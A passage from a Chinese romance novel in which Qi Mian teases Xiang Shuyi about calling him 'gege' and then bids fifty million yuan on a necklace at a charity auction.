向殊意不太信任地望了他一眼,灯光不太亮,看不出什么端倪。
她犹豫着收回视线,望向舞台的瞬间,又听见一声冷笑。
向殊意皱着眉转头:“你就是心情不太好吧,有谁惹你了?”
祁勉已经双手抱臂,一字一顿地说:“某个,递起名片来,就把‘哥哥’完全忘了的人。”
“哥哥”二字被他刻意加重,想听不见都难。
向殊意心里狠狠一坠,浑身都开始冒冷汗。
差点忘了这一茬。
他这是……听见了林主管的话?
他知道她的备注了?
向殊意光是想一想这种可能,就忍不住打寒颤。她只好抱着最后一丝希望,试探着问:“你刚刚说什么?”
台上的主办方领导这时发表完开场言,台下掌声雷动。向殊意见状连忙跟着鼓掌,勉强的明亮中,祁勉慢悠悠抬起手,有一下没一下拍着。
向殊意敛下眼睫。
既然他没什么反应,那她干脆就当成他没听见,只是碰巧撞上了这个称呼而已。
她抬起头来,准备反将一军说他说话肉麻,却见刚刚还懒懒散散的男人突然弓下身子,在她眼睛里放大了几倍。
回过神时,祁勉的侧脸已经和她相隔无几。
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男性荷尔蒙气息扑面而来,骤然拉近的距离,让她有些呼吸不畅,心跳也开始狂响。
耳边嗡嗡的话筒声音和稀稀拉拉的鼓掌声好像在半空中凝滞下来。世界被按下暂停,风声也消失。感官所能触碰到、接收到的,只有祁勉身上的令人熟悉的香气,和他落在她耳边的话:
“我刚刚在说一个,”他偏头,紧紧盯着她反应,“情侣之间的亲、密、称、呼。”
“轰隆”一声。向殊意感觉有一块天降陨石,正正砸在了她的头顶。
下午和林主管在车库说的话,如今被他以这种形式,原封不动尽数奉还。
向殊意耳边麻了一片,僵硬着身子转头,看向已经直起身子的祁勉。
他嘴角含笑,明显是一副看好戏的玩味模样。
向殊意张口想说出点什么,却发现自己的语言系统好像丧失了效果。
主持人已经在宣告拍卖环节正式开始。祁勉看她傻在那里半天,没忍住笑了一声,上前握住她手臂,引着她挽上自己。向殊意怔怔地抬头,撞进了祁勉含笑的双眸。
逗人的目的达到,只不过好像有点过了。
他轻叹一声,带着她往人群中间去,很有诚意地微微弓下来说:“不好意思,让你受惊了。一会儿想拍下什么东西……”
祁勉话音一顿,恶趣味又冒了上来,重新勾起唇角接上后半句:“哥哥付钱。”
搭在他手臂上的手掌骤然握紧,祁勉垂头看向西装外套上的褶皱,挑起一边眉毛,没有出声。
向殊意混混沌沌地跟着他,羞耻过后只剩下悔恨,悔恨得牙痒痒。
恨呐!
她真想穿回去狠狠揪住过去的向殊意好好掰扯掰扯,当初不改掉备注、挂没挂断通话都不确认一下是有什么心事吗?!
向殊意望向台上屏幕里显现出来的一张昂贵项链的图片,忍不住眼前一亮。
好美啊,好耀眼。
她见缝插针地忍不住在心里夸赞了一通,又抬头望了一眼,才低下头悲凉地琢磨。
没事的,人的一生真的不长的。
再说这脸也只是在祁勉面前丢一下,又不是旁人。
从小到大,她在他面前犯的傻难道还少?
往好了想,至少她可以光明正大地继续用这个备注,不用再担心他发现之后会丢人。
不对,不对。
向殊意又抬头看了眼屏幕上的项链,双手无意识地攥成拳头。
她才不要再用这个备注!
等回去了就立刻改掉!!!
她刚在脑子里规划好“改备注”这件头等大事,身边若有所思观察了半天她表情动作的男人突然出声,声音带着确认:“你喜欢这个?”
嗯?
向殊意没听清,抬头看他,又转头看向台上的拍卖师。
拍卖师已经落下小锤,扬起声音:“……‘赫拉之泪’,起拍价为两千万人民币。”
人群中一片哗然,她也被这天文数字给惊到,正在暗自惊叹这么美的项链果然贵,便感觉身边的男人抬起手在半空。
她听见他稳稳的声音:
“五千万。”